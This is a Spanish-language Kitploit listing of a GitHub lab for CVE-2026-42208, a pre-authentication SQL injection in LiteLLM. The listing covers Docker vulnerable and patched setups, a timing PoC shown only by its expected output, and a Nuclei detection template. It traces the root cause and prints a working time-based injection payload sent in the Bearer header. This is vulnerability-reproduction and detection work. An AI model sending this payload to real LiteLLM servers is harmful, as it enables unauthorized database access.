Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
poc_cve-2026-42208 — Laboratorio de reproducción para CVE-2026-42208, una inyección SQL crítica previa a la autenticación en LiteLLM. Incluye entornos vulnerables/parcheados basados en Docker, exploit PoC basado en temporización y plantilla de detección Nuclei para pruebas de seguridad. | Kitploit
Herramientas/GitHubGitHub/haerin-l/poc_cve-2026-42208
Análisis de VulnerabilidadesExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubhaerin-l/poc_cve-2026-42208

poc_cve-2026-42208

Laboratorio de reproducción para CVE-2026-42208, una inyección SQL crítica previa a la autenticación en LiteLLM. Incluye entornos vulnerables/parcheados basados en Docker, exploit PoC basado en temporización y plantilla de detección Nuclei para pruebas de seguridad.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 2 mesesAún no revisado

CVE-2026-42208 — Inyección SQL sin autenticación en LiteLLM

Un entorno de laboratorio para reproducir y detectar CVE-2026-42208, una vulnerabilidad crítica de inyección SQL sin autenticación en LiteLLM donde tokens Bearer no sanitizados llegan a una consulta PostgreSQL sin parámetros.


Resumen de la vulnerabilidad

CampoDetalles
ID CVECVE-2026-42208
GHSAGHSA-r75f-5x8p-qvmc
CVSS9.3 (Crítica) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Versiones afectadas>= 1.81.16, < 1.83.7
Parcheadav1.83.7 (consulta parametrizada)
CWECWE-89 (Inyección SQL)

Causa raíz

root@kitploit:~
Vulnerable (v1.83.6):
  POST /v1/chat/completions
  Authorization: Bearer <payload>   ← el payload NO comienza con "sk-"
    → api_key.startswith("sk-") falla en la aserción  (utils.py:1189)
    → capturado por except Exception                        (utils.py:1560)
    → _handle_authentication_error(api_key=RAW_PAYLOAD)
    → _enrich_failure_metadata_with_key_info()
    → get_data(token=RAW_PAYLOAD, table_name="combined_view")
    → SQL: WHERE v.token = '{payload}'  ← inyección

Parcheada (v1.83.7):
  Misma ruta de solicitud, pero:
    → get_data(token=hashed_token, ...)
    → SQL: WHERE v.token = $1          ← parametrizado, sin inyección

Requisitos previos para el ataque


Arquitectura del laboratorio

root@kitploit:~
Máquina anfitriona
├── localhost:8010 ──→ Docker: litellm-vuln    (v1.83.6-nightly  ⚠ VULNERABLE)
│                      Docker: litellm-db-vuln  (PostgreSQL 15)
└── localhost:8011 ──→ Docker: litellm-patched (v1.83.7-stable   ✓ PARCHEADA)
                       Docker: litellm-db-patched (PostgreSQL 15)

Requisitos previos

HerramientaInstalación
Docker Desktopdocker.com
nucleibrew install nuclei
curl, python3preinstalado en macOS

Cómo ejecutar

Paso 1 — Configurar el entorno de laboratorio

root@kitploit:~
bash scripts/01-setup.sh

Al finalizar:

root@kitploit:~
══════════════════════════════════════════════════════
 ¡Laboratorio listo!
 Vulnerable (v1.83.6-nightly) : http://localhost:8010
 Parcheada  (v1.83.7-stable)  : http://localhost:8011
 Clave maestra : sk-lab-master-key
 Siguiente: bash scripts/02-exploit.sh
══════════════════════════════════════════════════════

Paso 2 — Desencadenar el CVE

root@kitploit:~
bash scripts/02-exploit.sh

Salida esperada — vulnerable (v1.83.6-nightly):

root@kitploit:~
── Vulnerable (v1.83.6-nightly, puerto 8010) ──
  Línea base  : 0.031s
  Inyección   : 6.062s  (HTTP 401)
  Delta       : +6.031s
  ⚠  RESULTADO: pg_sleep activado — INYECCIÓN SQL CONFIRMADA (VULNERABLE)

Salida esperada — parcheada (v1.83.7-stable):

root@kitploit:~
── Parcheada  (v1.83.7-stable,  puerto 8011) ──
  Línea base  : 0.028s
  Inyección   : 0.029s  (HTTP 401)
  Delta       : +0.001s
  ✓  RESULTADO: Sin retardo significativo — inyección no ejecutada (PARCHEADA)

Paso 3 — Detección con Nuclei

root@kitploit:~
# Instancia vulnerable → debería producir un hallazgo [critical]
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8010

# Instancia parcheada → no debería producir hallazgos
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8011

Vulnerable (v1.83.6-nightly):

Detección Nuclei — vulnerable

Parcheada (v1.83.7-stable):

Detección Nuclei — parcheada

Paso 4 — Desmontaje

root@kitploit:~
bash scripts/99-teardown.sh

Estructura del directorio

root@kitploit:~
litellm-cve-2026-42208/
├── README.md
├── VULNERABILITY_ANALYSIS.md       # Análisis a nivel de código (inglés)
├── LAB_SETUP_GUIDE.md              # Guía de configuración del laboratorio (inglés)
├── NUCLEI_TEMPLATE_GUIDE.md        # Diseño de plantilla Nuclei (inglés)
├── docker-compose.yaml
│
├── REPORT/                         # Informes en coreano
│   ├── Vulnerability_Analysis_KR.md
│   ├── LAB_REPORT_KR.md
│   └── Nuclei_Template_Report_KR.md
│
├── nuclei/
│   └── CVE-2026-42208.yaml         # Plantilla de detección Nuclei
│
└── scripts/
    ├── 01-setup.sh                 # Iniciar contenedores, crear clave de semilla
    ├── 02-exploit.sh               # PoC: prueba de inyección basada en tiempos
    └── 99-teardown.sh              # Detener y eliminar todos los recursos del laboratorio

Lógica de detección de la plantilla Nuclei

root@kitploit:~
Paso 1  GET /health/liveliness
        → coincide "I am alive" en el cuerpo
        → confirma que el objetivo es una instancia de LiteLLM

Paso 2  POST /v1/chat/completions
        Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NOT NULL --

        Coincidencias (AND — todas deben cumplirse):
          status == 401           elimina falsos positivos de 504/502
          body contiene           "auth_error" O "Authentication Error"
                                  confirma la ruta de autenticación de LiteLLM, no un proxy
          duration >= 5           pg_sleep(6) activado → inyección confirmada

Prevención de falsos positivos:

  • status == 401 elimina respuestas de tiempos de espera aguas arriba (504) y errores de gateway (502)
  • La coincidencia de palabra clave en el cuerpo confirma que el 401 provino del manejo de autenticación de LiteLLM, no de un WAF o proxy
  • duration >= 5 es suficientemente alto para excluir fluctuaciones de red (la línea base es ≤0.5s)

Referencias

  • GHSA-r75f-5x8p-qvmc
  • NVD — CVE-2026-42208
  • Análisis de Sysdig

Advertencia: Todas las credenciales en este laboratorio son datos de prueba falsos con fines exclusivos de investigación en seguridad. Nunca las utilice en producción. Siempre obtenga autorización explícita antes de escanear sistemas que no le pertenezcan.

Descargar herramienta
#CondiciónDetalles
1Versión de LiteLLM afectada>= 1.81.16, < 1.83.7
2Base de datos PostgreSQLLas implementaciones con SQLite no se ven afectadas
3Sin autenticación requeridaSin autenticación previa; no se necesitan credenciales
4≥1 fila en VerificationTokenpg_sleep solo se ejecuta por fila; tabla vacía = sin retardo